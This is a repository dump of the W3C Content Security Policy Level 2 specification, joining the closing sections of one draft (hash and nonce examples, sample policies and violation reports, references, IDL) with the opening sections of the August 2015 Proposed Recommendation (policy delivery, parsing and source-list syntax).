Note that the nonce’s value is not a hash or signature that verifies the contents of the script resources. It’s quite simply a random string that informs the user agent which scripts were intentionally included in the page.

Script elements with the proper nonce execute, regardless of whether they’re inline or external. Script elements without the proper nonce don’t execute unless their URLs are whitelisted. Even if an attacker is able to inject markup into the protected resource, the attack will be blocked by the attacker’s inability to guess the random value.

7.15.2. Hash usage for script elements

This section is not normative.

The script-src directive lets developers whitelist a particular inline script by specifying its hash as an allowed source of script.

Usage is straightforward. The server computes the hash of a particular script block’s contents, and includes the base64 encoding of that value in the Content-Security-Policy header:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'sha256-base64 encoded hash'

Each inline script block’s contents are hashed, and compared against the whitelisted value. If there’s a match, the script is executed. For example, the SHA-256 digest of alert('Hello, world.'); is qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=.

You can obtain the digest of a string on the command line simply via the openssl program. For example:
echo -n "alert('Hello, world.');" | openssl dgst -sha256 -binary | openssl enc -base64

If the server sent the following header:

Content-Security-Policy: script-src 'sha512-YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo='

Then the following script tag would result in script execution:

<script>alert('Hello, world.');</script>

Whitespace is significant. The following scripts blocks would not hash to the same value, and would therefore not execute:

<script> alert('Hello, world.');</script>
<script>alert('Hello, world.'); </script>
<script> alert('Hello, world.'); </script>
<script>
alert('Hello, world.');
</script>

Note also that the hash applies only to inline script. An externalized script containing the value alert('Hello, world.'); would not execute if its origin was not whitelisted as a valid source of script.

7.16. style-src

The style-src directive restricts which styles the user may applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "style-src"
directive-value   = source-list

The term allowed style sources refers to the result of parsing the style-src directive’s value as a source list if the policy contains an explicit style-src, or otherwise to the default sources.

If 'unsafe-inline' is not in the list of allowed style sources, or if at least one nonce-source or hash-source is present in the list of allowed style sources:

Note: These restrictions on inline do not prevent the user agent from applying style from an external stylesheet (e.g., found via <link rel="stylesheet" ...>).

If 'unsafe-eval' is not in allowed style sources, then:

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed style sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting an external stylesheet when processing the href of a link element whose rel attribute contains the token stylesheet.
  • Requesting an external stylesheet when processing the <<@import>> directive.
  • Requesting an external stylesheet when processing a Link HTTP response header field [RFC5988].

    Note: As this stylesheet might be prefetched before a Document actually exists, user agents will need to carefully consider how to instantiate a meaningful policy against which to compare this request. See §10.1 Processing Complications for more detail.

Note: The style-src directive does not restrict the use of XSLT. XSLT is restricted by the script-src directive because the security consequences of including an untrusted XSLT stylesheet are similar to those incurred by including an untrusted script.

7.16.1. Nonce usage for style elements

This section is not normative.

See the script-src nonce usage information for detail; the application of nonces to style elements is similar enough to avoid repetition here.

7.16.2. Hash usage for style elements

This section is not normative.

See the script-src hash usage information for detail; the application of hashes to style elements is similar enough to avoid repetition here.

8. Examples

8.1. Sample Policy Definitions

This section provides some sample use cases and supporting policies.

A server wishes to load resources only from its own origin:
Content-Security-Policy: default-src 'self'
An auction site wishes to load images from any URL, plugin content from a list of trusted media providers (including a content distribution network), and scripts only from a server under its control hosting sanitized ECMAScript:
Content-Security-Policy:
    default-src 'self'; img-src *;
    object-src media1.example.com media2.example.com *.cdn.example.com;
    script-src trustedscripts.example.com
An online banking site wishes to ensure that all of the content in its pages is loaded over TLS to prevent attackers from eavesdropping on insecure content requests:
Content-Security-Policy: default-src https: 'unsafe-inline' 'unsafe-eval'

This policy allows inline content (such as inline script elements), use of eval, and loading resources over https. Note: This policy does not provide any protection from cross-site scripting vulnerabilities.

A website that relies on inline script elements wishes to ensure that script is only executed from its own origin, and those elements it intentionally inserted inline:
Content-Security-Policy: script-src 'self' 'nonce-$RANDOM';

The inline script elements would then only execute if they contained a matching nonce attribute:

<script nonce="$RANDOM">...</script>

8.2. Sample Violation Report

This section contains an example violation report the user agent might sent to a server when the protected resource violations a sample policy.

In the following example, the user agent rendered a representation of the resource http://example.org/page.html with the following policy:

default-src 'self'; report-uri http://example.org/csp-report.cgi

The protected resource loaded an image from http://evil.example.com/image.png, violating the policy.

{
  "csp-report": {
    "document-uri": "http://example.org/page.html",
    "referrer": "http://evil.example.com/haxor.html",
    "blocked-uri": "http://evil.example.com/image.png",
    "violated-directive": "default-src 'self'",
    "effective-directive": "img-src",
    "original-policy": "default-src 'self'; report-uri http://example.org/csp-report.cgi"
  }
}

9. Security Considerations

9.1. Cascading Style Sheet (CSS) Parsing

The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "stylesheets" hosted by an otherwise trustworthy origin.

These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009. User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.

9.2. Violation Reports

The violation reporting mechanism in this document has been designed to mitigate the risk that a malicious web site could use violation reports to probe the behavior of other servers. For example, consider a malicious web site that white lists https://example.com as a source of images. If the malicious site attempts to load https://example.com/login as an image, and the example.com server redirects to an identity provider (e.g., identityprovider.example.net), CSP will block the request. If violation reports contained the full blocked URL, the violation report might contain sensitive information contained in the redirected URL, such as session identifiers or purported identities. For this reason, the user agent includes only the origin of the blocked URL.

10. Implementation Considerations

The Content-Security-Policy header is an end-to-end header. It is processed and enforced at the client and, therefore, SHOULD NOT be modified or removed by proxies or other intermediaries not in the same administrative domain as the resource.

The originating administrative domain for a resource might wish to apply a Content-Security-Policy header outside of the immediate context of an application. For example, a large organization might have many resources and applications managed by different individuals or teams but all subject to a uniform organizational standard. In such situations, a Content-Security-Policy header might be added or combined with an existing one at a network-edge security gateway device or web application firewall. To enforce multiple policies, the administrator SHOULD combine the policy into a single header. An administrator might wish to use different combination algorithms depending on his or her intended semantics.

One sensible policy combination algorithm is to start by allowing a default set of sources and then letting individual upstream resource owners expand the set of allowed sources by including additional origins. In this approach, the resultant policy is the union of all allowed origins in the input policies.

Another sensible policy combination algorithm is to intersect the given policies. This approach enforces that content comes from a certain whitelist of origins, for example, preventing developers from including third-party scripts or content in violation of organizational standards and practices. In this approach, the combination algorithm forms the combined policy by removing disallowed hosts from the policies supplied by upstream resource owners.

Interactions between the default-src and other directives SHOULD be given special consideration when combining policies. If none of the policies contains a default-src directive, adding new src directives results in a more restrictive policy. However, if one or more of the input policies contain a default-src directive, adding new src directives might result in a less restrictive policy, for example, if the more specific directive contains a more permissive set of allowed origins.

Using a more restrictive policy than the input policy authored by the resource owner might prevent the resource from rendering or operating as intended.

Note: Migration to HTTPS from HTTP may require updates to the policy in order to keep things running as before. Source expressions like http://example.com do not match HTTPS resources. For example, administrators SHOULD carefully examine existing policies before rolling out HTTP Strict Transport Security headers for an application. [RFC6797]

Server administrators MAY wish to send multiple policies if different reporting options are desired for subsets of an overall policy. For instance, the following headers:
Content-Security-Policy: frame-ancestors https://example.com/ 
Content-Security-Policy: default-src https:; report-uri https://example.com/

would send violation reports for http resources, but would not send violation reports for frame-ancestors violations. Note also that combining them via ',' into the single header

Content-Security-Policy: frame-ancestors https://example.com/, default-src https:; report-uri https://example.com/

would have the same effect, as the comma splits the header during parsing.

10.1. Processing Complications

Many user agents implement some form of optimistic resource fetching algorithm to speed up page loads. In implementing these features, user agents MUST ensure that these optimizations do not alter the behavior of the page’s security policy.

Here, we’ll note a few potential complications that could cause bugs in implementations:

  1. The frame-ancestor directive MUST take effect before a document is loaded into a nested browsing context, and certainly before script is potentially executed. One way to approach this constraint is to perform the ancestor check defined in §7.7 frame-ancestors while parsing the document’s headers. This might mean that no document object is available at all, which can complicate checks against 'self', and scheme- or port-relative source expressions.
  2. Likewise, the Link HTTP response header could generate requests for stylesheet resources before a document is available. User agents MUST ensure that any policy contained in the response headers is parsed and effective before these requests are generated. For example, a response returning the following headers:
    Content-Security-Policy: style-src 'none'
    Link: <awesome.css>; rel=stylesheet
    

    MUST have the same behavior as a response returning the following headers:

    Link: <awesome.css>; rel=stylesheet
    Content-Security-Policy: style-src 'none'
    

    namely, both must block requests for the stylesheet. To fulfil this requirement user agents MUST wait until all headers have been processed before beginning to prefetch resources.

11. IANA Considerations

The permanent message header field registry should be updated with the following registrations: [RFC3864]

11.1. Content-Security-Policy

Header field name
Content-Security-Policy
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy Header Field)

11.2. Content-Security-Policy-Report-Only

Header field name
Content-Security-Policy-Report-Only
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy-Report-Only Header Field)

11.3. CSP

Header field name
CSP
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See §3.4 The CSP HTTP Request Header)

12. Acknowledgements

In addition to the documents in the W3C Web Application Security working group, the work on this document is also informed by the work of the IETF websec working group, particularly that working group’s requirements document: draft-hodges-websec-framework-reqs.

A portion of the frame-ancestors directive was originally developed as X-Frame-Options. [RFC7034]

Brian Smith, Neil Matatall, Anne van Kesteren, and Sigbjørn Vik provided particularly insightful feedback to keep this specification sane.

Conformance

Document conventions

Conformance requirements are expressed with a combination of descriptive assertions and RFC 2119 terminology. The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in the normative parts of this document are to be interpreted as described in RFC 2119. However, for readability, these words do not appear in all uppercase letters in this specification.

All of the text of this specification is normative except sections explicitly marked as non-normative, examples, and notes. [RFC2119]

Examples in this specification are introduced with the words "for example" or are set apart from the normative text with class="example", like this:

This is an example of an informative example.

Informative notes begin with the word "Note" and are set apart from the normative text with class="note", like this:

Note, this is an informative note.

Conformant Algorithms

Requirements phrased in the imperative as part of algorithms (such as "strip any leading space characters" or "return false and abort these steps") are to be interpreted with the meaning of the key word ("must", "should", "may", etc) used in introducing the algorithm.

Conformance requirements phrased as algorithms or specific steps can be implemented in any manner, so long as the end result is equivalent. In particular, the algorithms defined in this specification are intended to be easy to understand and are not intended to be performant. Implementers are encouraged to optimize.

Conformance Classes

A conformant user agent must implement all the requirements listed in this specification that are applicable to user agents.

A conformant server must implement all the requirements listed in this specification that are applicable to servers.

Index

Terms defined by this specification

Terms defined by reference

References

Normative References

[ABNF]
Dave Crocker; Paul Overell. Augmented BNF for Syntax Specifications: ABNF. RFC. URL: http://www.ietf.org/rfc/rfc5234.txt
[BEACON]
Jatinder Mann; Alois Reitbauer. Beacon. WD. URL: http://www.w3.org/TR/beacon/
[ECMA-262]
Allen Wirfs-Brock. ECMA-262 6th Edition, The ECMAScript 2015 Language Specification. June 2015. Standard. URL: http://www.ecma-international.org/ecma-262/6.0/
[HTML-IMPORTS]
Dmitri Glazkov; Hajime Morrita. HTML Imports. WD. URL: http://www.w3.org/TR/html-imports/
[RFC3492]
Adam M. Costello. Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA). REC. URL: http://www.ietf.org/rfc/rfc3492.txt
[RFC3864]
Graham Klyne; Mark Nottingham; Jeffrey C. Mogul. Registration Procedures for Message Header Fields. RFC. URL: http://www.ietf.org/rfc/rfc3864.txt
[RFC4627]
Douglas Crockford. The 'application/json' Media Type for JavaScript Object Notation (JSON). RFC. URL: http://www.ietf.org/rfc/rfc4627.txt
[RFC6454]
Adam Barth. The Web Origin Concept. RFC. URL: http://www.ietf.org/rfc/rfc6454.txt
[RFC7034]
David Ross; Tobias Gondrom. HTTP Header Field X-Frame-Options. RFC. URL: http://www.ietf.org/rfc/rfc7034.txt
[RFC7230]
Roy T. Fielding; Julian F. Reschke. HTTP/1.1 Message Syntax and Routing. RFC. URL: http://www.ietf.org/rfc/rfc7230.txt
[RFC7231]
Roy T. Fielding; Julian F. Reschke. HTTP/1.1 Semantics and Content. RFC. URL: http://www.ietf.org/rfc/rfc7231.txt
[SHA2]
Descriptions of SHA-256, SHA-384, and SHA-512. URL: http://csrc.nist.gov/groups/STM/cavp/documents/shs/sha256-384-512.pdf
[URL]
Anne van Kesteren; Sam Ruby. URL. WD. URL: http://www.w3.org/TR/url/
[WebIDL]
Cameron McCormack. Web IDL. 19 April 2012. CR. URL: http://www.w3.org/TR/WebIDL/
[XMLHttpRequest]
Anne van Kesteren; et al. XMLHttpRequest Level 1. 30 January 2014. WD. URL: http://www.w3.org/TR/XMLHttpRequest/
[CSS-IMAGES-3]
CSS Image Values and Replaced Content Module Level 3 URL: http://www.w3.org/TR/css3-images/
[CSS-IMAGES-4]
CSS Image Values and Replaced Content Module Level 4 URL: http://www.w3.org/TR/css4-images/
[CSS3-FONTS]
John Daggett. CSS Fonts Module Level 3. 11 December 2012. WD. URL: http://www.w3.org/TR/css3-fonts/
[CSS4-IMAGES]
Elika Etemad; Tab Atkins Jr.. CSS Image Values and Replaced Content Module Level 4. 11 September 2012. WD. URL: http://www.w3.org/TR/css4-images/
[CSSOM]
Simon Pieters; Glenn Adams. CSS Object Model (CSSOM). 5 December 2013. WD. URL: http://www.w3.org/TR/cssom/
[EVENTSOURCE]
Ian Hickson. Server-Sent Events. 3 February 2015. REC. URL: http://www.w3.org/TR/eventsource/
[HTML5]
Ian Hickson; et al. HTML5. 28 October 2014. REC. URL: http://www.w3.org/TR/html5/
[RFC2119]
S. Bradner. Key words for use in RFCs to Indicate Requirement Levels. March 1997. Best Current Practice. URL: https://tools.ietf.org/html/rfc2119
[RFC3986]
T. Berners-Lee; R. Fielding; L. Masinter. Uniform Resource Identifier (URI): Generic Syntax. January 2005. Internet Standard. URL: https://tools.ietf.org/html/rfc3986
[RFC5988]
M. Nottingham. Web Linking. October 2010. Proposed Standard. URL: https://tools.ietf.org/html/rfc5988
[WEBSOCKETS]
Ian Hickson. The WebSocket API. 20 September 2012. CR. URL: http://www.w3.org/TR/websockets/
[WORKERS]
Ian Hickson. Web Workers. 1 May 2012. CR. URL: http://www.w3.org/TR/workers/
[XML11]
Tim Bray; et al. Extensible Markup Language (XML) 1.1 (Second Edition). 16 August 2006. REC. URL: http://www.w3.org/TR/xml11/
[XSLT]
James Clark. XSL Transformations (XSLT) Version 1.0. 16 November 1999. REC. URL: http://www.w3.org/TR/xslt

Informative References

[RFC6797]
Jeff Hodges; Collin Jackson; Adam Barth. HTTP Strict Transport Security (HSTS). RFC. URL: http://www.ietf.org/rfc/rfc6797.txt
[UIREDRESS]
Giorgio Maone; et al. User Interface Security Directives for Content Security Policy. WD. URL: http://www.w3.org/TR/UISecurity/

IDL Index

partial interface HTMLScriptElement {
  attribute DOMString nonce;
};

partial interface HTMLStyleElement {
  attribute DOMString nonce;
};

[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]
interface SecurityPolicyViolationEvent : Event {
    readonly    attribute DOMString documentURI;
    readonly    attribute DOMString referrer;
    readonly    attribute DOMString blockedURI;
    readonly    attribute DOMString violatedDirective;
    readonly    attribute DOMString effectiveDirective;
    readonly    attribute DOMString originalPolicy;
    readonly    attribute DOMString sourceFile;
    readonly    attribute DOMString statusCode;
    readonly    attribute long      lineNumber;
    readonly    attribute long      columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    DOMString documentURI;
    DOMString referrer;
    DOMString blockedURI;
    DOMString violatedDirective;
    DOMString effectiveDirective;
    DOMString originalPolicy;
    DOMString sourceFile;
    long      lineNumber;
    long      columnNumber;
};

================================================ FILE: 2/published/2015-08-PR.html ================================================ Content Security Policy Level 2

Content Security Policy Level 2

W3C Proposed Recommendation,

This version:
http://www.w3.org/TR/2015/PR-CSP2-2-20150821/
Latest version:
http://www.w3.org/TR/CSP2/
Editor's Draft:
https://w3c.github.io/webappsec/specs/CSP2/
Previous Versions:
http://www.w3.org/TR/2014/WD-CSP2-20140703/
http://www.w3.org/TR/2014/WD-CSP11-20140211/
http://www.w3.org/TR/2012/CR-CSP-20121115/
Feedback:
public-webappsec@w3.org with subject line “[CSP2] … message topic …” (archives)
Issue Tracking:
GitHub
Editors:
(Google Inc.)
(Google Inc.)
(Mozilla Corporation)
Former Editors:
(formerly of Mozilla Corporation)

Abstract

This document defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.

Status of this document

This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at http://www.w3.org/TR/.

This document was published by the Web Application Security Working Group as a Proposed Recommendation. This document is intended to become a W3C Recommendation. The W3C Membership and other interested parties are invited to review the document and send comments to public-webappsec@w3.org (subscribe, archives) through . Advisory Committee Representatives should consult their WBS questionnaires.

Publication as a Proposed Recommendation does not imply endorsement by the W3C Membership. This is a draft document and may be updated, replaced or obsoleted by other documents at any time. It is inappropriate to cite this document as other than work in progress.

This document was produced by a group operating under the 5 February 2004 W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.

This document is governed by the 1 August 2014 W3C Process Document.

Table of Contents

1. Introduction

This section is not normative.

This document defines Content Security Policy, a mechanism web applications can use to mitigate a broad class of content injection vulnerabilities, such as cross-site scripting (XSS). Content Security Policy is a declarative policy that lets the authors (or server administrators) of a web application inform the client about the sources from which the application expects to load resources.

To mitigate XSS attacks, for example, a web application can declare that it only expects to load script from specific, trusted sources. This declaration allows the client to detect and block malicious scripts injected into the application by an attacker.

Content Security Policy (CSP) is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth, to reduce the harm caused by content injection attacks. As a first line of defense against content injection, server operators should validate their input and encode their output.

There is often a non-trivial amount of work required to apply CSP to an existing web application. To reap the greatest benefit, authors will need to move all inline script and style out-of-line, for example into external scripts, because the user agent cannot determine whether an inline script was injected by an attacker.

To take advantage of CSP, a web application opts into using CSP by supplying a Content-Security-Policy HTTP header. Such policies apply to the current resource representation only. To supply a policy for an entire site, the server needs to supply a policy with each resource representation.

1.1. Changes from Level 1

This document describes an evolution of the Content Security Policy specification. Level 2 makes two breaking changes from Level 1, and adds support for a number of new directives and capabilities which are summarized below:

  1. The following changes are backwards incompatible with the majority of user agent’s implementations of CSP 1:
    1. The path component of a source expression is now ignored if the resource being loaded is the result of a redirect, as described in §4.2.2.3 Paths and Redirects.

      Note: Paths are technically new in CSP2, but they were already implemented in many user agents before this revision of CSP was completed, so noting the change here seems reasonable.

    2. A protected resource’s ability to load Workers is now controlled via child-src rather than script-src.
    3. Workers now have their own policy, separate from the protected resource which loaded them. This is described in §5.1 Workers.
  2. The following directives are brand new in this revision:
    1. base-uri controls the protected resource’s ability to specify the document base URL.
    2. child-src deprecates and replaces frame-src, controlling the protected resource’s ability to embed frames, and to load Workers.
    3. form-action controls the protected resource’s ability to submit forms.
    4. frame-ancestors controls the protected resource’s ability be embedded in other documents. It is meant to supplant the X-Frame-Options HTTP request header.
    5. plugin-types controls the protected resource’s ability to load specific types of plugins.
  3. Individual inline scripts and stylesheets may be whitelisted via nonces (as described in §4.2.4 Valid Nonces) and hashes (as described in §4.2.5 Valid Hashes).
  4. A SecurityPolicyViolationEvent is fired upon violations, as described in §6.3 Firing Violation Events.
  5. A number of new fields were added to violation reports (both those POSTED via report-uri, and those handed to the DOM via SecurityPolicyViolationEvent events. These include effectiveDirective, statusCode, sourceFile, lineNumber, and columnNumber.
  6. Certain flags present in the sandbox directive now affect Worker creation, as described in §7.14.1 Sandboxing and Workers.

2. Key Concepts and Terminology

2.1. Terms defined by this specification

security policy
security policy directive
security policy directive name
security policy directive value
A security policy refers to both a set of security preferences for restrictions within which content can operate, and to a fragment of text that codifies or transmits these preferences. For example, the following string is a policy which restricts script and object content:
script-src 'self'; object-src 'none'

Security policies contain a set of security policy directives (script-src and object-src in the example above), each responsible for declaring the restrictions for a particular resource type, or manipulating a specific aspect of the policy’s restrictions. The list of directives defined by this specification can be found in §7 Directives.

Each directives has a name and a value; a detailed grammar can be found in §4 Syntax and Algorithms.

protected resource
A security policy is applied by a user agent to a specific resource representation, known as the protected resource. See §3 Policy Delivery for details regarding the mechanisms by which policies may be applied to a protected resource.

2.2. Terms defined by reference

globally unique identifier
Defined in Section 2.3 of the Origin specification. [RFC6454]

NOTE: URLs which do not use hierarchical elements as naming authorities (data:, for instance) have origins which are globally unique identifiers.

HTTP 200 response
Defined in Section 6.3.1 of HTTP/1.1 -- Semantics and Content. [RFC7231]
JSON object
JSON stringification
Defined in the JSON specification. [RFC4627]
origin
Defined by the Origin specification. [RFC6454]
resource representation
Defined in Section 3 of HTTP/1.1 -- Semantics and Content. [RFC7231]
URL
Defined by [URL].
SHA-256
SHA-384
SHA-512
These digest algorithms are defined by the NIST. [FIPS180]

2.3. Relevant Concepts from HTML

The applet, audio, embed, iframe, img, link, object, script, source, track, and video are defined in [HTML5].

The terms auxiliary browsing contexts, opener browsing context, and nested browsing contexts are defined in the HTML5 specification. [HTML5]

A plugin is defined in the HTML5 specification. [HTML5]

The <<@font-face>> Cascading Style Sheets (CSS) rule is defined in the CSS Fonts Module Level 3 specification. [CSS3-FONTS]

The XMLHttpRequest object is defined in the XMLHttpRequest specification. [XMLHTTPREQUEST]

The WebSocket object is defined in the WebSocket specification. [WEBSOCKETS]

The EventSource object is defined in the EventSource specification. [EVENTSOURCE]

The runs a worker algorithm is defined in the Web Workers spec. [WORKERS]

The term callable refers to an object whose interface has one or more callers as defined in the Web IDL specification [WEBIDL].

2.4. Grammatical Concepts

The Augmented Backus-Naur Form (ABNF) notation used in this document is specified in RFC5234. [ABNF]

This document also uses the ABNF extension "#rule" as defined in Section 7 of HTTP/1.1 -- Message Syntax and Routing. [RFC7230]

The following core rules are included by reference, as defined in Appendix B.1 of [ABNF]: ALPHA (letters), DIGIT (decimal 0-9), WSP (white space) and VCHAR (printing characters).

3. Policy Delivery

The server delivers a policy to the user agent via an HTTP response header (defined in §3.1 Content-Security-Policy Header Field and §3.2 Content-Security-Policy-Report-Only Header Field) or an HTML meta element (defined in §3.3 HTML meta Element).

3.1. Content-Security-Policy Header Field

The Content-Security-Policy header field is the preferred mechanism for delivering a policy. The grammar is as follows:

"Content-Security-Policy:" 1#policy-token

For example, a response might include the following header field:

Content-Security-Policy: script-src 'self'

A server MUST NOT send more than one HTTP header field named Content-Security-Policy with a given resource representation.

A server MAY send different Content-Security-Policy header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy header field, the user agent MUST enforce each of the policies contained in each such header field.

3.2. Content-Security-Policy-Report-Only Header Field

The Content-Security-Policy-Report-Only header field lets servers experiment with policies by monitoring (rather than enforcing) a policy. The grammar is as follows:

"Content-Security-Policy-Report-Only:" 1#policy-token

For example, server operators might wish to develop their security policy iteratively. The operators can deploy a report-only policy based on their best estimate of how their site behaves:

Content-Security-Policy-Report-Only: script-src 'self';
                                     report-uri /csp-report-endpoint/

If their site violates this policy the user agent will send violation reports to the URL specified in the policy’s report-uri directive, but allow the violating resources to load regardless. Once a site has confidence that the policy is appropriate, they can start enforcing the policy using the Content-Security-Policy header field.

A server MUST NOT send more than one HTTP header field named Content-Security-Policy-Report-Only with a given resource representation.

A server MAY send different Content-Security-Policy-Report-Only header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy-Report-Only header field, the user agent MUST monitor each of the policies contained in each such header field.

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.3. HTML meta Element

The server MAY supply policy via one or more HTML meta elements with http-equiv attributes that are an ASCII case-insensitive match for the string "Content-Security-Policy". For example:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

Add the following entry to the pragma directives for the meta element:

Content security policy (http-equiv="content-security-policy")
  1. If the Document’s head element is not an ancestor of the meta element, abort these steps.
  2. If the meta element lacks a content attribute, abort these steps.
  3. Let policy be the value of the content attribute of the meta element.
  4. Let directive-set be the result of parsing policy.
  5. Remove all occurrences of report-uri, frame-ancestors, and sandbox directives from directive-set.

    Note: User agents are encouraged to issue a warning to developers if one or more of these directives are included in a policy delivered via meta.

  6. Enforce each of the directives in directive-set, as defined for each directive type.

Authors are strongly encouraged to place meta elements as early in the document as possible, because policies in meta elements are not applied to content which precedes them. In particular, note that resources fetched or prefetched using the Link HTTP response header field, and resources fetched or prefetched using link and script elements which precede a meta-delivered policy will not be blocked.

Note: A policy specified via a meta element will be enforced along with any other policies active for the protected resource, regardless of where they’re specified. The general impact of enforcing multiple policies is described in §3.4 Enforcing multiple policies..

Note: Modifications to the content attribute of a meta element after the element has been parsed will be ignored.

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.4. Enforcing multiple policies.

This section is not normative.

The above sections note that when multiple policies are present, each must be enforced or reported, according to its type. An example will help clarify how that ought to work in practice. The behavior of an XMLHttpRequest might seem unclear given a site that, for whatever reason, delivered the following HTTP headers:

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                         connect-src 'none';
Content-Security-Policy: connect-src http://example.com/;
                         script-src http://example.com/

Is a connection to example.com allowed or not? The short answer is that the connection is not allowed. Enforcing both policies means that a potential connection would have to pass through both unscathed. Even though the second policy would allow this connection, the first policy contains connect-src 'none', so its enforcement blocks the connection. The impact is that adding additional policies to the list of policies to enforce can only further restrict the capabilities of the protected resource.

To demonstrate that further, consider a script tag on this page. The first policy would lock scripts down to 'self', http://example.com and http://example.net via the default-src directive. The second, however, would only allow script from http://example.com/. Script will only load if it meets both policy’s criteria: in this case, the only origin that can match is http://example.com, as both policies allow it.

3.5. Policy applicability

This section is not normative.

Policies are associated with an protected resource, and enforced or monitored for that resource. If a resource does not create a new execution context (for example, when including a script, image, or stylesheet into a document), then any policies delivered with that resource are discarded without effect. Its execution is subject to the policy or policies of the including context. The following table outlines examples of these relationships:

Resource Type What policy applies?
Top-level Contexts HTML as a new, top-level browsing context The policy delivered with the resource
SVG, as a top-level document Policy delivered with the resource
Embedded Contexts Any resource included via iframe, object, or embed The policy of the embedding resource controls what may be embedded. The embedded resource, however, is controlled by the policy delivered with the resource, or the policy of the embedding resource if the embedded resource is a globally unique identifier (or a srcdoc frame).
SVG, as an embedded document The policy delivered with the resource, or policy of the creating context if created from a globally unique identifier.
JavaScript, as a Worker, Shared Worker or Service Worker The policy delivered with the resource, or policy of the creating context if created from a globally unique identifier
Subresources SVG, inlined via svg Policy of the including context
SVG, as a resource document Policy of the including context
HTML via XMLHttpRequest Policy of the context that performed the fetch
Image via img element Policy of the including context
JavaScript via a script element Policy of the including context
SVG, via img No policy; should be just as safe as JPG
SVG, as a WebFont No policy; should be just as safe as WOFF

4. Syntax and Algorithms

4.1. Policy Syntax

A Content Security Policy consists of a U+003B SEMICOLON (;) delimited list of directives. Each directive consists of a directive name and (optionally) a directive value, defined by the following ABNF:

policy-token    = [ directive-token *( ";" [ directive-token ] ) ]
directive-token = *WSP [ directive-name [ WSP directive-value ] ]
directive-name  = 1*( ALPHA / DIGIT / "-" )
directive-value = *( WSP / <VCHAR except ";" and ","> )

4.1.1. Parsing Policies

To parse the policy policy, the user agent MUST use an algorithm equivalent to the following:

  1. Let the set of directives be the empty set.
  2. For each non-empty token returned by strictly splitting the string policy on the character U+003B SEMICOLON (;):
    1. Skip whitespace.
    2. Collect a sequence of characters that are not space characters. The collected characters are the directive name.
    3. If there are characters remaining in token, skip ahead exactly one character (which must be a space character).
    4. The remaining characters in token (if any) are the directive value.
    5. If the set of directives already contains a directive whose name is a case insensitive match for directive name, ignore this instance of the directive and continue to the next token.
    6. Add a directive to the set of directives with name directive name and value directive value.
  3. Return the set of directives.

4.2. Source List Syntax

Many CSP directives use a value consisting of a source list, defined in the ABNF grammar below.

Each source expression in the source list represents a location from which content of the specified type can be retrieved. For example, the source expression 'none' represents the empty set of URLs, and the source expression 'unsafe-inline' represents content supplied inline in the resource itself.

source-list       = *WSP [ source-expression *( 1*WSP source-expression ) *WSP ]
                  / *WSP "'none'" *WSP
source-expression = scheme-source / host-source / keyword-source / nonce-source / hash-source
scheme-source     = scheme-part ":"
host-source       = [ scheme-part "://" ] host-part [ port-part ] [ path-part ]
keyword-source    = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
base64-value      = 1*( ALPHA / DIGIT / "+" / "/" )*2( "=" )
nonce-value       = base64-value
hash-value        = base64-value
nonce-source      = "'nonce-" nonce-value "'"
hash-algo         = "sha256" / "sha384" / "sha512"
hash-source       = "'" hash-algo "-" hash-value "'"
scheme-part       = <scheme production from RFC 3986, section 3.1>
host-part         = "*" / [ "*." ] 1*host-char *( "." 1*host-char )
host-char         = ALPHA / DIGIT / "-"
path-part         = <path production from RFC 3986, section 3.3>
port-part         = ":" ( 1*DIGIT / "*" )

If the policy contains a nonce-source expression, the server MUST generate a fresh value for the nonce-value directive at random and independently each time it transmits a policy. The generated value SHOULD be at least 128 bits long (before encoding), and generated via a cryptographically secure random number generator. This requirement ensures that the nonce-value is difficult for an attacker to predict.

Note: Using a nonce to whitelist inline script or style is less secure than not using a nonce, as nonces override the restrictions in the directive in which they are present. An attacker who can gain access to the nonce can execute whatever script they like, whenever they like. That said, nonces provide a substantial improvement over 'unsafe-inline' when layering a content security policy on top of old code. When considering 'unsafe-inline', authors are encouraged to consider nonces (or hashes) instead.

The host-char production intentionally contains only ASCII characters; internationalized domain names cannot be entered directly into a policy string, but instead MUST be Punycode-encoded [RFC3492]. For example, the domain üüüüüü.de would be encoded as xn--tdaaaaaa.de.

